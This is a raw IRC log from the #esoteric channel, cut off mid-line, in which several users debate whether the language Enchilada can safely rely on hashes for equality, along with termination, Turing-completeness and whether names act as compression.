#esoteric :alise, also feather < 1269729193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(but ssh! ais523 is near) < 1269729195 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: is it? < 1269729200 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Hashes, by definition, cannot satisfy what you ask of it. < 1269729207 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If F is a hash function, then there exists (x,y) such that F(x) = F(y), /because/ the output domain of F is smaller than the input domain. < 1269729212 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That is, after all, the purpose of a hash function. < 1269729215 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I love the way you can try to avoid attracting someone's opinion by nickpinging them < 1269729216 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :what is the chance of your memory to fail or have a hash collision? < 1269729226 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :not your memory of course ;) < 1269729240 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, haha < 1269729268 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Hashes are not unique. < 1269729276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it was only a theatrical "avoid attraction" < 1269729279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you see what I mean < 1269729287 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Relying on hashes being not unique is stupidity. < 1269729290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Well there's all sorts of "chance"; many hash functions have been broken. < 1269729293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is only a matter of time. < 1269729308 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(exception: perfect hash, where you know the input domain perfectly.) < 1269729310 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Correctness doesn't care about the practical reality, though, because it is about mathematical properties. < 1269729336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, indeed < 1269729348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I used perfect hashes somewhere, forgot for what it was < 1269729354 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: cfunge i think. < 1269729361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh indeed you are right < 1269729363 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Probably hash map of some sort. < 1269729368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but pretty sure I used it elsewhere too < 1269729377 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, gperf, to check if a keyword was in a list < 1269729385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(in the cfunge case) < 1269729391 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They're fairly common things to use when you can. ;) < 1269729406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: I think Enchilada is certainly one of the most unique extant languages. < 1269729407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the other case wasn't gperf iirc < 1269729409 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i believe the reality is not correct - at least my computer fails me many more times than hash collisions which have probability 10 ^ -30 - depending on the hash function < 1269729424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Me and cpressey discussed one aspect of it recently, actually. < 1269729435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Go and look up how many hash functions have been broken. < 1269729445 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have some cat buiscuts < 1269729451 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :SHA-1 is not infallible, and the difficulty of generating collisions reduces every year. < 1269729458 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't SHA1 have some known weaknesses? < 1269729466 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: forget about SHA1 - think about hashes < 1269729469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Yes. < 1269729478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: If we're being abstract we have to be formal too. < 1269729484 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: This is a problem with all hashes. < 1269729487 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think it has no known /exploitable/ weaknesses, but the fact that weaknesses exist is making people suspicious < 1269729507 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: forall f:A->B, (card B < card A) -> exists x:A,y:A. f x = f y < 1269729510 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: i don't see it as a problem - i see it as a opportunity < 1269729512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is a fact. < 1269729524 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: An opportunity... For security flaws. < 1269729528 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :if you give a little you gain a lot < 1269729529 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or incorrect execution. < 1269729537 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Your choice. < 1269729547 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: memory failure is also a possibility < 1269729555 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: pikhq is actually right about security: consider an Enchilada program comparing for equality to some secret value. < 1269729562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you can create SHA-1 collisions, you can break this system. < 1269729565 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :you need a physical platform - which is faulty < 1269729600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: IMO that is an error similar to the one that claims that Turing-completeness of a language is impossible because no universal Turing machine can be constructed. < 1269729609 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, this is why things like hashes are useful to secure against this. However, relying on hashes causes greater issues. < 1269729660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Actually if we are considering physical things, why do you use hashes? Comparison is not slow. < 1269729678 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Especially if you memoise the results so only the section of the tree not previously compared must be analysed. < 1269729690 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: try comparing two sets which are different in only one element < 1269729694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, I guess that involves comparison in itself. < 1269729702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: How big are these sets? < 1269729706 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :big < 1269729720 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :let's do some O complexity < 1269729734 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :two sets with size n and m < 1269729738 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Depends heavily on the representation of the set, the location of the difference, and the comparison algorithm in use. < 1269729754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: you are appealing to practical reasons < 1269729764 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so specify n and m for the actual speed matters... < 1269729778 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :sure it does - but what's the most efficient algorithm? < 1269729784 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Does it matter? < 1269729785 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It depends. < 1269729803 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, another criticism - and I'm not trying to sound whiny, just offering my opinions because the positive ones are boring - having every object have a sign is weird-ass. < 1269729812 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Efficiency of an algorithm depends a lot on the input. < 1269729833 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: hey, i'm just being esoteric ;) < 1269729850 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :For instance: if your input is going to always be mostly-sorted, insertion sort is a pretty dang nice algorithm. < 1269729855 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, you appear to have practical aims with your language to an extent; perhaps I am wrong. < 1269729870 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why cant an esolang be practical too? < 1269729889 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: now you are just being negative < 1269729896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Oh ho ho ho < 1269729914 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269729919 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: Heresy! < 1269729920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Anyway, add dependent types and termination checking and I'll love it. < 1269729937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This rule is the only exception to the rule that the highest praise I give to any language is that it's interesting and it sucks. < 1269729942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, would you love INTERCAL with dependant types? < 1269729961 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION prods ais523 about that idea
< 1269729968 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: As I said, there are no other exceptions to the rule; so since I have stated the single exception, you can assume it applies in all cases the exception enumerates. < 1269729984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(I hear Enchilada doesn't have exceptions.) < 1269729997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you lost me there < 1269729999 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Enchiladas don't have souls < 1269730005 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: no exceptions, yes baby! < 1269730016 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: But it has _|_, I presume? < 1269730022 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There are computations that do not terminate? < 1269730043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mathematically, this is equivalent to errors: It is the addition of an element _|_ to every type that you cannot check for. < 1269730046 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is just as insidious. < 1269730064 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :no, it doesn't have bottom - everything terminates eventually < 1269730066 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: lies! if they're filled with beans they do! < 1269730070 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :poor rapido having to listen to this :P < 1269730095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Well, that is good. I do hope you realise that this means it cannot be turing-complete. < 1269730101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, wait, it is impossible to write cat(1)? < 1269730182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :try to be somewhat nicer to rapido < 1269730183 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i have thought of this. what about doing something 10^100000 times? < 1269730187 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It's impossible to surf the web in BF? < 1269730192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I am not being unkind. < 1269730196 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :[Note: It isn't impossible, given PSOX] < 1269730204 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :So analogy fail < 1269730204 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I agree that depending on hash is bad < 1269730210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Are you misinterpreting neutrality and my not offering trivial praises of its novelty (which I have already done) as hostility? < 1269730214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, it is not relevant to TCness though < 1269730218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: So, you are an ultrafinitist, then? < 1269730234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: If something could never be computed it is not computable. < 1269730239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So sufficiently large numbers do not exist... < 1269730240 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION just likes mentioning PSOX around alise
< 1269730253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_, while non-terminating is related to TC < 1269730279 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i like brouwer - the dutch mathematician < 1269730284 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :TC implies non-termination... < 1269730313 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: You are at least a constructivist then. < 1269730317 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Would a language in which no program terminates be TC? I'd assume so, since it's easy to make a terminating program not terminate < 1269730350 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But if you respond to a question about non-terminating programs with a question about programs that run for too long to be computed in this universe, then you are at least some form of finitist; I would say the ultra variety. < 1269730354 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Yes. < 1269730409 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION accepts non-constructive proofs btw
< 1269730412 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo I guess that you could maybe define 'termination' as something else < 1269730418 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :let me try to explain my case < 1269730426 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :like when a particular switch is flicked.. even if other stuff is still happening < 1269730428 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :let's say you have a long winding proof < 1269730440 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :the proof will hold references to other proofs < 1269730467 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :and those proofs will hold references to yet other proofs < 1269730489 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :what is the chance of any reference to be faulty? < 1269730500 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :We should make a system in which cyclical proof references can exist. < 1269730506 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :what can we do to lower that chance? < 1269730507 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Yes, you can implement "termination" as going into a busy-loop or some such. < 1269730530 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :can we make a reference absolutely non-faulty - always? < 1269730534 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i don't believe so < 1269730541 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :we can lower it < 1269730544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Eh? < 1269730548 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You mean it references an incorrect proof? < 1269730557 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Formal proof verification systems mean that the only point of infallibility is the axioms. < 1269730564 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :rapido, that's a problem of mathematicians being wrong, not a property of mathematics itself < 1269730566 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :or definitions :P < 1269730566 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :See metamath(.org), Coq, Mizar, ... < 1269730575 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: think of the reference itself < 1269730580 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you could defined say 'prime' wrong.. so that every number is prime < 1269730584 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and not realize < 1269730587 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Define what a reference to a proof IS, as an actual object. < 1269730595 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You seem to be positing some sort of mathematical universe of pointers to proofs. < 1269730630 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: i'm saying that you need pointers < 1269730636 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Why? < 1269730640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: This is false. < 1269730645 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: to scala < 1269730649 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :scala <- scale < 1269730660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Define scale, and what has scaling got to do with abstract mathematics? < 1269730690 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :doesn't abstract mathematics need pointers? < 1269730696 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nope? < 1269730704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :At least I haven't found any in the axioms I've looked at recently. < 1269730707 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :to refer to something? a word is a pointer < 1269730747 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :rapido, a reference to a proof is just um.. kind of included, I guess? More like a #define than an import? < 1269730752 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is not sure if he's making sense
< 1269730757 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: No, a name is just a placeholder. < 1269730765 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can replace it directly, rather than assigning it to anything. < 1269730796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(forall p, p -> (forall q, q -> p)) doesn't have any pointers; it has placeholders. By itself, it means nothing: not unless you know how to fill in the foralls. < 1269730802 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: but the name must be unique, not? < 1269730805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :When you do, you replace them directly. There are no pointers, only symbol manipulation. < 1269730821 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :otherwise the statement will be ambigious < 1269730831 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :ambiguous < 1269730868 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, and? < 1269730873 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :come on - names refer to bigger things < 1269730883 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :they compress the bigger things < 1269730900 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :they are a poor-mans hash of the things they refer to < 1269730931 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :the bigger things have names in them < 1269730939 0 :alise!unknown@unknown.invalid PART #esoteric :? < 1269730941 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :they refer to other objects < 1269730944 0 :alise!~alise___@212.183.140.51 JOIN :#esoteric < 1269730952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: I think that's rubbish. < 1269730957 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: ok < 1269730960 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Symbolic notation is not compression. < 1269730975 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i think it's exactly that < 1269730983 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :that's abstraction < 1269730987 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :to compress < 1269730990 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: a name would only be a hash if it was derived entirely from the thing it named < 1269730991 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :heh you could hard code in something that ensures that every variable name you use, names some term which is larger < 1269731005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: precisely! < 1269731009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's a placeholder, not a smaller form. < 1269731014 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yes, that's why i like hashes better than names < 1269731015 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ilke you couldn't define sum = +/ < 1269731020 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it would be an error < 1269731020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In (p -> (q -> p)), we're really just defining a template for truths. < 1269731042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: and it is also why hashes must have the possibility of collisions, but names need not < 1269731043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We're saying that: If we have a thing, and another thing, then the first thing implies that the second thing implies the first thing. < 1269731048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There is no compression. < 1269731052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :brb. < 1269731122 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: names may not - but who will make sure the names don't clash? < 1269731135 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: the compiler/verifier < 1269731171 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: don't you agree that names compress the complex objects hat they refer to? < 1269731181 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :hat <- that < 1269731214 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: now you are just shifting the meaning of a term, it won't help your actual argument any < 1269731219 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :otherwise you would end up with pure value passing semantics - which is very inefficient < 1269731244 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: and what's my actual argument? < 1269731260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_whatever_ it is :D < 1269731275 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1269731315 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as in, whether the term "compression" includes names is uninteresting if it's just defined to do so < 1269731319 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: 'heh you could hard code in something that ensures that every variable name you use, names some term which is larger' < 1269731343 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: this would end up with names as big as the objects themselves < 1269731373 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :inefficient? When dealing with _shifting math around_? < 1269731374 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: just would rather have the objects - thank you very much < 1269731381 0 :cheater2!unknown@unknown.invalid NICK :cheater < 1269731406 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: i think you are reading fax backwards < 1269731425 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't havea problem with that
< 1269731463 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that's right < 1269731476 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: it is an interesting thought - thanks! < 1269731534 0 :chromakode!~chromakod@unaffiliated/chromakode JOIN :#esoteric < 1269731548 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :but i do still think names/pointers/links are meant to compress information - think of exact repetitions < 1269731570 0 :almya!unknown@unknown.invalid PART #esoteric :? < 1269731591 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :you just say: hey i've got this object and a name it x < 1269731594 0 :rbradfor!~rbradfor@user-387g4no.cable.mindspring.com JOIN :#esoteric < 1269731600 0 :rbradfor!unknown@unknown.invalid PART #esoteric :? < 1269731609 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :now i have this other object y, and it holds 4 x's < 1269731630 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :and so forth < 1269731667 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :but how are you going to name the 10^10000 object that holds other object names? < 1269731709 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :names are important especially in a distributed setup where you can't have a central naming service < 1269731724 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :who is giving out the names? < 1269731827 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269731977 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i will give myself a name, and a won't be a hash < 1269732031 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :rapido, to be clear, you're talking about computers, and not math, right? < 1269732056 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I am a name not a number! < 1269732090 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: math is riddled with references and names that refer to complex abstractions < 1269732094 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :be quiet, 38 < 1269732146 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: of course, you can always create the full proof down the axioms, without references < 1269732170 0 :chromakode!unknown@unknown.invalid PART #esoteric :? < 1269732220 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: 'math' doesn't difference from 'computers' - whatever that means < 1269732295 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :you can never be certain < 1269732301 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :back < 1269732303 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :even mathematical proofs aren't certain < 1269732306 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: sigh < 1269732307 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes they are < 1269732314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see proof verifiers < 1269732315 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :you need faulty humans to falsify mathematical proofs < 1269732319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1269732322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you need computers < 1269732337 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: correct him plz < 1269732344 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :who? < 1269732352 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :me! < 1269732356 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if rapido might be pulling a fax.
< 1269732359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido, saying that proofs aren't certain because you need humans to falsify them or something < 1269732369 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: but computers are faulty - the change of computers to faulty is much higher than hash collisions < 1269732386 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, you are so damn wrong it makes my head hurt. I have never haerd someone be so wrong, I can't beleive you are sreious forgoodness sake -- you gotta be kidding? The sad thing is I know you arent.. < 1269732391 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :change <-chance < 1269732395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: except when computers go wrong - they don't say "Yes this is valid omg!" < 1269732398 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :fax, wrong person < 1269732403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they say "Segmentation fault" < 1269732411 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, you are so damn wrong it makes my head hurt. I have never haerd someone be so wrong, I can't beleive you are sreious forgoodness sake -- you gotta be kidding? The sad thing is I know you arent.. < 1269732414 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :fax: thanks for correcting me - thank you very much < 1269732419 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Or just say nothing, if you've got very bad luck. < 1269732423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he pinged Oranjer, rapido < 1269732425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not you! < 1269732429 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yeah! < 1269732433 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But, it tends to be pretty clear when that happens. < 1269732436 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rapido, what? < 1269732462 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"This is putting out 5 instead of 6. WTF? Oh, it works in the debugger. Mmkay, Heisenbug." < 1269732482 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :heisenbug! now you are talking my way! < 1269732502 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i like heisenbugs! < 1269732505 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :they are great! < 1269732523 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hash collisions are not heisenbugs in your language. They are just *inexplicable* ones. ;) < 1269732537 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :we should create a esoteric language called heisenbug! < 1269732580 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :the default would be an heisenbug statement - with the remote exception of a correct statement < 1269732655 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :if the heisenbug language proves to be turing complete - i'm done! < 1269732666 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION notices no one seems to have named any actual insect after heisenberg
< 1269732743 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what is my role in all this? < 1269732780 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: just to make you shiver: 'corporate' storage depends on hashes (that may have collisions) < 1269732790 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: you write this all down and send it as beeps over a phone line < 1269732835 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Yes, hash tables are common. < 1269732836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: You are mixing the practical and the theoretical, seemingly repeatedly. < 1269732839 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Why? < 1269732840 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They allow for collisions. < 1269732847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Some people believe them to be equal. Do yu < 1269732849 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*you? < 1269732856 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm merely curious as to how your justifications work... < 1269732887 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(You hash the index, look in the table, and then compare against the proper index to find the proper item.) < 1269732887 0 :fax!unknown@unknown.invalid 